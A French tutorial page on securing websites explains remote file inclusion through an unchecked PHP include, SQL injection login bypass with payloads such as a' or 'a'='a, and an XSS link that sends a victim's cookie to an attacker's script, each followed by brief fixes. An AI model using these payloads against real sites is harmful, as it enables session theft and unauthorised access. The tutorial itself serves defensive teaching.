SECURISTATION DE SITES WEB
par
popularité : 6%
SECURISTATION DE SITES
WEB
par e
Nous allons voir les failles les plus répendues dans les
sites web
Le principal role de php est de faire des sites dynamiques,
mais beaucoup l’utilisent juste pour simplifier leur travail
d’interface.
Dans ce but, le site est composé d’une page principale,
contenant l’interface, et une multitude de pages avec seulement
le contenu. Les liens sont du type :
http://www.site.com/index.php?page=liens.php
Le principe de la faille consiste à exploiter la variable
$page, qui n’est soumise à aucun test si le site est
vulnérable. En effet, dans ce cas, le code php dans la page
index.php est du style :
| include($page) ; |
Ainsi, si on fait :
http://www.site.com/index.php?page=http://siteperso.net/hack.txt
php va télécharger le fichier http://siteperso.net/hack.txt
et l’interpréter du coté du site.
Pour exploiter cette faille il suffit d’écrire du code php dans
le fichier de votre site perso.
Une autre exploitation est la lecture de fichiers
inaccessibles, comme les .htaccess
sécurisation
Il faut vérifier si la variable $page contient une valeur pas
gentille. par exemple :
| if(strstr($page,
"http://")) $page = "intro.php" ; //
eviter les pages distantes
face="Arial">if(strstr($page, "htaccess")) if(! fileexists($page)) include($page) ; |
voila.
Imaginons une page d’identification web en asp. Voilà un
exemple de page access.html
| <form
action="login.asp" method="post"> login : <input type="text" value="login1"><br> pass : <input type="password" value="pass1"><br> <input type="submit"> </form> |
quand une personne rempli les valeurs et clique sur le bouton,
le lien invoque la page login.asp qui contient ce type de requete
SQL :
| "SELECT * FROM base
WHERE ’login’=’
"&Request.Form("login1")&" ’
AND ’pass’=’
"&Request.Form("pass1")& " ’
" ( si il y a une erreur c’est normal, je ne programme pas en asp ;o) |
voila donc un exemple de requete une fois transformée :
| " SELECT * FROM base WHERE ’login’=’e’ AND ’pass’=’monpass’ " |
Bon, donc tout vas bien quand on met ce que le programmeur
attend comme login et mot de passe. Seulement, si on rentre un
mot de passe comme :
| a’ or ’a’=’a |
la requete SQL devient :
| " SELECT * FROM base
WHERE ’login’=’e’ AND ’pass’=’a’ or ’a’=’a’
" ( j’ai mi le pass en gras ) |
Et la requete renvoie toujours vrai car ’a’ = ’a’ est toujours
vrai ! Donc SQL renvoie le premier utilisateur de la base de
donnée !
On peut obtenir un acces à une partie protégée du site sans
mot de passe.
RQ : selon le code de la requete, le pass peut etre :
| a’ or ’a’=’a a" or "a"="a a or a=a ou mettez ce que vous voulez à la place de a ;o) |
RQ2 : cette faille ne marche pas avec php car il rajoute des
antislashes ( \ ) devant tout les " et ’ , donc la requete
n’est pas modifiée.
sécurisation
il suffit de faire des tests sur les variables login1 et
pass1...
en fait cette faille est assez souvent trouvée sur de gros
serveurs (multimania), mais l’impact n’est pas énorme, ca
dépend des conditions.
voici par exemple, pour reprendre l’exemple de multimania, une
page qui sert à enlever une adresse d’une mailling-list :
| // tous le code
d’enlèvement
echo |
La faille provient de la variable $adresse, dont on peut y
mettre du contenu compromettant. En effet, on peut y entrer du
code html voire du code SSI...
Mouais, vous allez dire. Bah oui, c’est bien joli mais c’est
pas une faille ca !
Et si, car si on met un lien dans un forum très coté ou sur irc
de ce style :
| http://www.site.com/remove.php?adresse=<script
language="javascript">var=document.cookie ;document.location="http://siteperso.net/cookie.php?c="+var;</script> ;
<font là encore, c possible que |
Il est donc possible, si quelqu’un clique sur le lien, de
récupérer son cookie, avec dans le cas de multimania le cookie
de session, donc possibilité de se logger sous le pseudo du gars
et donc acceder à l’administration de son site...
sécurisation
bah comme toujours, il faut vérifier le contenu de $adresse,
si elle contient le caractère < , la refuser.
Dans ces 3 exemples, la sécurisation tenait d’une règle d’or
que tout programmeur doit respecter ( pas seulement pour de la
prog web ) :
Ne JAMAIS faire confience aux données susceptibles
d’etres modifiées par l’utilisateur, ou celles que l’utilisateur
a remplies.
C’est une condition nécessaire pour une meilleur sécurité.
Il existe de nombreuses autres failles web, mais la plupart
sont évitées par le respect de cette règle.
En vrac :
Рr̩pertoires sans index ou sans .htaccess
Рnoms de r̩p̩rtoires ou fichiers (volontairement cach̩s) trop
évidents. Par exemple un fichier mails.txt d’une mailing list
– mots de passe de blaireaux
– présence d’autres scripts cgi buggués
– . . .
Mais de nouvelles failles apparaissent sans cesse, votre site
n’est jamais à l’abri. Meme si votre code est bon, votre serveur
web, de mail, ou votre systeme d’exploitation est susceptible de
contenir des failles, donc regardez les dernières bugs trouvés
et patchez sans cesse votre système...
Quel dur travail qu’est celui d’un admin... ;o)
par e
Commentaires Forum fermé